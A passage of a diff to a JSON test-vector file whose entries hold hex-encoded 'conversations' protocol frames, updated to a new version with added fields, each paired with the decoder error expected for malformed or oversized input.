"574d58310101000001000000a21b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b226361706162696c6974792d3030302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "oversize" }, { "name": "conversations-boot-ids-differ-across-items", "direction": "down", - "hex": "574d583101010000010000007e0b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000e70b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-extra-key-in-item", "direction": "down", - "hex": "574d58310101000001000000430600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d2c226578747261223a317d5d7d", + "hex": "574d58310101000001000000800600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d2c226578747261223a317d5d7d", "error": "bad_field" }, { "name": "conversations-uid-and-gid-as-strings", "direction": "down", - "hex": "574d583101010000010000003b0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a223230303030222c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737